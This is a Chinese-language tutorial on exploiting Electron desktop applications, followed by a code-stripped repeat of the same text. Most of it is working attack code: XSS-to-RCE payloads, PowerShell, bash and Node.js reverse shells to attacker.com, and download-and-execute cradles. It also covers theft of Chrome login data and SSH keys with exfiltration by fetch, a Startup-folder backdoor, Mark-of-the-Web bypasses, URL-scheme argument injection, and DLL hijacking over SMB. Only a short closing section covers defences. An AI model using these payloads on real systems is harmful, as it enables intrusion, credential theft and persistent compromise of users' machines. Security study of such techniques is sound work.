Electron客户端漏洞学习与研究
字数 2236 2025-11-12 12:11:53

Electron客户端漏洞学习与研究

一、前言

Electron是一个基于Chromium和Node.js的跨平台桌面应用开发框架,允许开发者使用HTML、CSS和JavaScript等Web技术构建桌面应用。由于其开发便捷性和跨平台特性,被广泛应用于知名应用中,如VSCode、Slack、Discord、Atom等。

Electron应用结合了Web技术的灵活性和桌面权限的强大,这为攻击者提供了独特的攻击面。一旦找到突破口,攻击者可以从简单的XSS升级为完全的系统控制。

二、Electron架构与攻击面分析

2.1 多进程架构

Electron采用多进程架构,理解这一架构是发现漏洞的基础:

  • 主进程(Main Process):运行在Node.js环境中,拥有完整的系统访问权限,可以执行任意系统命令、访问文件系统
  • 渲染进程(Renderer Process):运行在Chromium环境中,负责页面渲染,权限受限
  • 预加载脚本(Preload Script):在渲染进程加载页面前执行,是连接主进程和渲染进程的桥梁

2.2 攻击面识别

从攻击者角度,主要的攻击向量包括:

  • XSS注入点 - 渲染进程中的任何用户可控输入
  • IPC通信通道 - 渲染进程与主进程的消息传递
  • URL Scheme - 自定义协议处理
  • 特权API - 预加载脚本暴露的高权限接口
  • 远程内容加载 - 应用加载的外部网页
  • 文件处理 - 本地文件读取和解析
  • 更新机制 - 应用自动更新流程

2.3 关键安全配置

从攻击者角度,需要重点关注这些配置项:

webPreferences: {
  nodeIntegration: true/false,      // 关键:能否直接使用Node.js
  contextIsolation: true/false,     // 关键:上下文是否隔离
  webSecurity: true/false,          // 是否有同源策略限制
  sandbox: true/false,              // 是否启用沙箱
  enableRemoteModule: true/false,   // 是否可使用remote模块
  preload: 'path/to/preload.js'     // 预加载脚本路径
}

最理想的攻击目标配置

nodeIntegration: true,
contextIsolation: false,
webSecurity: false

三、漏洞类型与利用技术

3.1 XSS to RCE(跨站脚本到远程代码执行)

这是Electron应用中最经典的攻击链。

3.1.1 攻击条件

完美条件(直接RCE)

  • 存在XSS注入点
  • nodeIntegration: true
  • contextIsolation: false

次优条件(需要绕过)

  • 存在XSS注入点
  • nodeIntegration: false 但可以绕过
  • 或存在可利用的特权API

3.1.2 直接利用

当配置不当时,可以直接执行Node.js代码:

// 基础命令执行
require('child_process').exec('calc.exe')

// Windows系统信息收集
require('child_process').exec('systeminfo', (e, stdout) => {
  fetch('http://attacker.com/collect', {
    method: 'POST',
    body: stdout
  })
})

// 读取敏感文件
const fs = require('fs')
const path = require('path')

// 读取Chrome密码
const chromeData = fs.readFileSync(
  path.join(process.env.LOCALAPPDATA,'Google/Chrome/User Data/Default/Login Data'))

// 读取SSH密钥
const sshKey = fs.readFileSync(
  path.join(process.env.USERPROFILE, '.ssh/id_rsa'),'utf8')

// 植入持久化后门
const startup = path.join(
  process.env.APPDATA,'Microsoft/Windows/Start Menu/Programs/Startup/backdoor.vbs')
fs.writeFileSync(startup, maliciousVBS)

3.1.3 反弹Shell

// Windows反弹Shell
const { exec } = require('child_process')
exec('powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient(\'attacker.com\',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \'PS \' + (pwd).Path + \'> \';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"')

// Linux/Mac反弹Shell
exec('bash -i >& /dev/tcp/attacker.com/4444 0>&1')

// 使用Node.js原生实现
const net = require('net')
const { spawn } = require('child_process')
const client = new net.Socket()
client.connect(4444, 'attacker.com', () => {
  const sh = spawn('/bin/bash', [])
  client.pipe(sh.stdin)
  sh.stdout.pipe(client)
  sh.stderr.pipe(client)
})

3.2 原型链污染攻击

即使不能直接使用require,也可以通过污染原型链来影响模块行为。

3.2.1 污染内置对象

// 修改正则表达式行为
RegExp.prototype.test = function() {
  return false // 让所有正则匹配失败
}

// 修改数组方法
Array.prototype.join = function() {
  return "calc.exe" // 返回恶意命令
}

// 修改JSON解析
const originalParse = JSON.parse
JSON.parse = function(str) {
  const obj = originalParse(str)
  // 注入恶意属性
  obj.__proto__.isAdmin = true
  return obj
}

3.2.2 利用被污染的原型

// 应用代码中的漏洞利用
const { exec } = require('child_process')

// 应用原本想执行安全命令
let commands = ['echo', 'hello', 'world']
exec(commands.join(' '))  // 实际执行:calc.exe

// 或者污染Object.prototype
Object.prototype.admin = true

// 应用代码检查权限
if (userObj.admin) {
  // 执行管理员操作
  executeAdminCommand()
}

3.3 CVE-2018-1000136:nodeIntegration绕过

这是一个影响所有早期Electron版本的严重漏洞,即使禁用了nodeIntegration,仍可重新开启。

3.3.1 漏洞原理

漏洞源于window.open()的特性处理机制:

  • window.open()可以通过features参数设置新窗口选项
  • 子窗口会继承父窗口的webPreferences
  • 但存在验证缺陷,可以传递webviewTag: yes
  • 然后在新窗口中创建带有nodeIntegration的webview

3.3.2 完整利用链

<script>
// 第一步:打开新窗口并启用webviewTag
var w = window.open('about:blank', '', 'webviewTag=yes,show=no')

// 第二步:在新窗口中注入恶意代码
w.eval(`
  // 创建webview标签
  var webview = new WebView()
  // 设置危险配置
  webview.setAttribute('webpreferences',
    'webSecurity=no, nodeIntegration=yes')
  // 加载恶意页面(base64编码)
  webview.src = 'data:text/html;base64,' + btoa(\`
    <script>
      // 现在拥有Node.js权限
      const { exec } = require('child_process')
      // 信息收集
      exec('whoami', (e, stdout) => {
        console.log('Current user:', stdout)
      })
      // 下载并执行Payload
      exec('powershell -c "IEX(New-Object Net.WebClient).DownloadString(\\'http://attacker.com/payload.ps1\\')"')
      // 或直接执行命令
      exec('calc.exe')
    <\/script>
  \`)
  // 添加到DOM
  document.body.appendChild(webview)
`)
</script>

3.4 URL Scheme参数注入

Electron应用注册的自定义协议是重要的攻击面。

3.4.1 发现已注册的Scheme

Windows注册表查询

:: 列出所有注册的协议
reg query HKEY_CLASSES_ROOT /f "URL Protocol" /s

:: 查看特定协议
reg query HKEY_CLASSES_ROOT\myapp

脚本

' duh4win.vbs - 自动发现URL Scheme
Set objShell = CreateObject("WScript.Shell")
Set objRegistry = GetObject("winmgmts://./root/default:StdRegProv")

' 枚举HKCR
objRegistry.EnumKey &H80000000, "", arrKeys
For Each key In arrKeys
  On Error Resume Next
  value = objShell.RegRead("HKCR\" & key & "\URL Protocol")
  If Err.Number = 0 Then
    WScript.Echo key & " - URL Protocol found"
  End If
  Err.Clear
Next

3.4.2 参数闭合攻击

注册表配置示例:

HKEY_CLASSES_ROOT\myapp\shell\open\command
(Default) = "C:\Program Files\MyApp\app.exe" "%1"

Payload:

<!-- 基础命令注入 -->
<a href='myapp://test" --renderer-cmd-prefix="calc.exe'>Click me</a>

<!-- 完整利用 -->
<a href='myapp://x" --renderer-cmd-prefix="powershell -c IEX(New-Object Net.WebClient).DownloadString(\'http://evil.com/payload.ps1\')'>
  Update Available - Click to Install
</a>

<!-- 使用其他危险参数 -->
<a href='myapp://x" --gpu-launcher="cmd.exe /c start calc.exe'>Launch</a>

3.4.3 可利用的Chromium参数

// 命令执行相关
--renderer-cmd-prefix="<command>"
--gpu-launcher="<command>"
--utility-cmd-prefix="<command>"
--ppapi-plugin-launcher="<command>"

// 文件读取/加载
--ppapi-flash-path="<path>"
--ppapi-flash-args="<args>"

// 调试相关
--remote-debugging-port=9222
--inspect=9229

// 禁用安全特性
--disable-web-security
--allow-file-access-from-files
--disable-site-isolation-trials

3.5 shell.openExternal深度利用

shell.openExternal()提供了多种攻击路径。

3.5.1 直接文件执行

// 如果可以控制参数
window.electronAPI.openUrl('file:///C:/Windows/System32/cmd.exe')

// 更隐蔽的方法
window.electronAPI.openUrl('file:///C:/Windows/System32/calc.exe')

3.5.2 UNC路径远程加载

// 加载远程SMB共享上的文件
shell.openExternal('file://attacker.com/share/payload.exe')

// 加载Java应用(无警告)
shell.openExternal('file://attacker.com/share/malicious.jar')

// Python脚本执行(需要环境)
shell.openExternal('file://attacker.com/share/backdoor.py')

3.5.3 .url文件利用

创建恶意的.url文件:

; malicious.url
[InternetShortcut]
URL=file:///C:/Windows/System32/cmd.exe
WorkingDirectory=C:\
IconIndex=0

触发执行:

shell.openExternal('file://attacker.com/share/malicious.url')

3.5.4 DLL劫持组合攻击

攻击步骤:

  1. 寻找存在DLL劫持的系统程序
# 查找缺少DLL的程序
Get-ChildItem C:\Windows\WinSxS -Recurse | Where-Object {$_.Name -like "*.exe"}
  1. 创建.url文件
[InternetShortcut]
URL=file:///C:/Windows/WinSxS/amd64_netfx-mscorsvw_exe_xxx/mscorsvw.exe
WorkingDirectory=\\attacker.com\share\
  1. 在SMB共享放置恶意DLL
\\attacker.com\share\mscorsvc.dll  (恶意DLL)
  1. 触发执行
shell.openExternal('file://attacker.com/share/trigger.url')
  1. 目标程序加载恶意DLL,无任何警告

3.5.5 绕过ADS标记

ADS(Alternate Data Stream)是Windows的文件信任标记机制。绕过方法:

// 方法1:从可信域下载
// 将攻击服务器加入受信任站点或本地Intranet

// 方法2:通过PowerShell下载(不产生ADS)
const { exec } = require('child_process')
exec(`powershell -c "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('http://attacker.com/payload.exe', 'C:\\Temp\\payload.exe')"`)

// 方法3:压缩包方式
// 将payload放入zip,用户解压后无ADS标记

// 方法4:手动移除ADS
exec('powershell -c "Unblock-File C:\\Temp\\payload.exe"')

3.6 SettingContent-ms利用(CVE-2018-8414)

Windows 10特有的攻击向量,已修补但在未打补丁系统上仍可用。

3.6.1 创建恶意文件

<?xml version="1.0" encoding="UTF-8"?>
<PCSettings>
  <SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent">
    <ApplicationInformation>
      <AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel</AppID>
      <!-- 执行命令 -->
      <DeepLink>cmd.exe /c powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"</DeepLink>
      <!-- 或使用mshta -->
      <DeepLink>mshta http://attacker.com/payload.hta</DeepLink>
      <Icon>%windir%\system32\control.exe</Icon>
    </ApplicationInformation>
    <SettingIdentity>
      <PageID></PageID>
      <HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}</HostID>
    </SettingIdentity>
    <SettingInformation>
      <Description>System Settings</Description>
      <Keywords>Settings</Keywords>
    </SettingInformation>
  </SearchableContent>
</PCSettings>

3.6.2 通过Electron触发

shell.openExternal('file://attacker.com/share/settings.SettingContent-ms')

3.6.3 配置文件关联(提升利用)

在已获取权限的系统上:

:: 修改文件关联
ASSOC .SettingContent-ms=CustomHandler
FTYPE CustomHandler="C:\Tools\scmwrap.exe" "%1"

scmwrap.exe实现:

// 解析并执行DeepLink
XmlDocument doc = new XmlDocument();
doc.Load(args[0]);
XmlNodeList nodes = doc.GetElementsByTagName("DeepLink");
foreach (XmlNode node in nodes) {
    ShellExecute(0, "open", "cmd.exe", "/C " + node.InnerText, "", 0);
}

3.7 特权域XSS利用

特权域中的XSS可以调用特权API,危害极大。

3.7.1 识别特权域

// 在渲染进程Console中测试
console.log(location.protocol)  // file:// 或特定域名

// 列出可用的特权API
Object.keys(window).filter(k => !Window.prototype.hasOwnProperty(k))

// 测试Node.js访问
typeof require !== 'undefined'
typeof process !== 'undefined'

3.7.2 特权API利用

假设预加载脚本暴露了不安全的API:

// 不安全的preload.js暴露
window.electronAPI = {
  downloadFile: (url, path) => ipcRenderer.invoke('download', url, path),
  executeFile: (path) => ipcRenderer.invoke('execute', path),
  readFile: (path) => ipcRenderer.invoke('read', path)
}

利用Payload:

<script>
(async () => {
  // 下载恶意文件
  await window.electronAPI.downloadFile(
    'http://attacker.com/backdoor.exe',
    'C:\\ProgramData\\backdoor.exe'
  )
  // 执行
  await window.electronAPI.executeFile('C:\\ProgramData\\backdoor.exe')
  // 读取敏感信息
  const secrets = await window.electronAPI.readFile(
    'C:\\Users\\victim\\Documents\\passwords.txt'
  )
  // 外传数据
  fetch('http://attacker.com/steal', {
    method: 'POST',
    body: secrets
  })
})()
</script>

3.7.3 链式攻击 - DLL劫持

// 假设只能下载和启动更新程序
<script>
(async () => {
  // 1. 下载恶意DLL到应用目录
  await window.electronAPI.downloadFile(
    'http://attacker.com/malicious.dll',
    'C:\\Program Files\\TargetApp\\malicious.dll'
  )
  // 2. 下载合法更新程序
  await window.electronAPI.downloadFile(
    'http://target.com/update.exe',
    'C:\\Temp\\update.exe'
  )
  // 3. 启动更新程序(触发DLL劫持)
  await window.electronAPI.executeFile('C:\\Temp\\update.exe')
})()
</script>

四、防御建议

4.1 安全配置最佳实践

// 推荐的安全配置
webPreferences: {
  nodeIntegration: false,
  contextIsolation: true,
  webSecurity: true,
  sandbox: true,
  enableRemoteModule: false,
  preload: path.join(__dirname, 'preload.js')
}

4.2 输入验证和输出编码

对所有用户输入进行严格验证,对输出内容进行适当编码。

4.3 最小权限原则

预加载脚本只暴露必要的API,遵循最小权限原则。

4.4 定期安全更新

保持Electron框架和相关依赖的最新版本。

五、总结

Electron客户端安全是一个复杂而重要的领域。攻击者可以通过多种技术路径实现从简单的XSS到完整的系统控制。理解这些攻击技术不仅有助于攻击者进行渗透测试,也能帮助开发者构建更安全的应用程序。

防御Electron应用的安全威胁需要从架构设计、配置管理、代码实现等多个层面进行综合考虑,实施纵深防御策略。

Electron客户端漏洞学习与研究 一、前言 Electron是一个基于Chromium和Node.js的跨平台桌面应用开发框架,允许开发者使用HTML、CSS和JavaScript等Web技术构建桌面应用。由于其开发便捷性和跨平台特性,被广泛应用于知名应用中,如VSCode、Slack、Discord、Atom等。 Electron应用结合了Web技术的灵活性和桌面权限的强大,这为攻击者提供了独特的攻击面。一旦找到突破口,攻击者可以从简单的XSS升级为完全的系统控制。 二、Electron架构与攻击面分析 2.1 多进程架构 Electron采用多进程架构,理解这一架构是发现漏洞的基础: 主进程(Main Process) :运行在Node.js环境中,拥有完整的系统访问权限,可以执行任意系统命令、访问文件系统 渲染进程(Renderer Process) :运行在Chromium环境中,负责页面渲染,权限受限 预加载脚本(Preload Script) :在渲染进程加载页面前执行,是连接主进程和渲染进程的桥梁 2.2 攻击面识别 从攻击者角度,主要的攻击向量包括: XSS注入点 - 渲染进程中的任何用户可控输入 IPC通信通道 - 渲染进程与主进程的消息传递 URL Scheme - 自定义协议处理 特权API - 预加载脚本暴露的高权限接口 远程内容加载 - 应用加载的外部网页 文件处理 - 本地文件读取和解析 更新机制 - 应用自动更新流程 2.3 关键安全配置 从攻击者角度,需要重点关注这些配置项: 最理想的攻击目标配置 : 三、漏洞类型与利用技术 3.1 XSS to RCE(跨站脚本到远程代码执行) 这是Electron应用中最经典的攻击链。 3.1.1 攻击条件 完美条件(直接RCE) : 存在XSS注入点 nodeIntegration: true contextIsolation: false 次优条件(需要绕过) : 存在XSS注入点 nodeIntegration: false 但可以绕过 或存在可利用的特权API 3.1.2 直接利用 当配置不当时,可以直接执行Node.js代码: 3.1.3 反弹Shell 3.2 原型链污染攻击 即使不能直接使用require,也可以通过污染原型链来影响模块行为。 3.2.1 污染内置对象 3.2.2 利用被污染的原型 3.3 CVE-2018-1000136:nodeIntegration绕过 这是一个影响所有早期Electron版本的严重漏洞,即使禁用了nodeIntegration,仍可重新开启。 3.3.1 漏洞原理 漏洞源于window.open()的特性处理机制: window.open()可以通过features参数设置新窗口选项 子窗口会继承父窗口的webPreferences 但存在验证缺陷,可以传递webviewTag: yes 然后在新窗口中创建带有nodeIntegration的webview 3.3.2 完整利用链 3.4 URL Scheme参数注入 Electron应用注册的自定义协议是重要的攻击面。 3.4.1 发现已注册的Scheme Windows注册表查询 : 脚本 : 3.4.2 参数闭合攻击 注册表配置示例: Payload: 3.4.3 可利用的Chromium参数 3.5 shell.openExternal深度利用 shell.openExternal()提供了多种攻击路径。 3.5.1 直接文件执行 3.5.2 UNC路径远程加载 3.5.3 .url文件利用 创建恶意的.url文件: 触发执行: 3.5.4 DLL劫持组合攻击 攻击步骤: 寻找存在DLL劫持的系统程序 创建.url文件 在SMB共享放置恶意DLL 触发执行 目标程序加载恶意DLL,无任何警告 3.5.5 绕过ADS标记 ADS(Alternate Data Stream)是Windows的文件信任标记机制。绕过方法: 3.6 SettingContent-ms利用(CVE-2018-8414) Windows 10特有的攻击向量,已修补但在未打补丁系统上仍可用。 3.6.1 创建恶意文件 3.6.2 通过Electron触发 3.6.3 配置文件关联(提升利用) 在已获取权限的系统上: scmwrap.exe实现: 3.7 特权域XSS利用 特权域中的XSS可以调用特权API,危害极大。 3.7.1 识别特权域 3.7.2 特权API利用 假设预加载脚本暴露了不安全的API: 利用Payload: 3.7.3 链式攻击 - DLL劫持 四、防御建议 4.1 安全配置最佳实践 4.2 输入验证和输出编码 对所有用户输入进行严格验证,对输出内容进行适当编码。 4.3 最小权限原则 预加载脚本只暴露必要的API,遵循最小权限原则。 4.4 定期安全更新 保持Electron框架和相关依赖的最新版本。 五、总结 Electron客户端安全是一个复杂而重要的领域。攻击者可以通过多种技术路径实现从简单的XSS到完整的系统控制。理解这些攻击技术不仅有助于攻击者进行渗透测试,也能帮助开发者构建更安全的应用程序。 防御Electron应用的安全威胁需要从架构设计、配置管理、代码实现等多个层面进行综合考虑,实施纵深防御策略。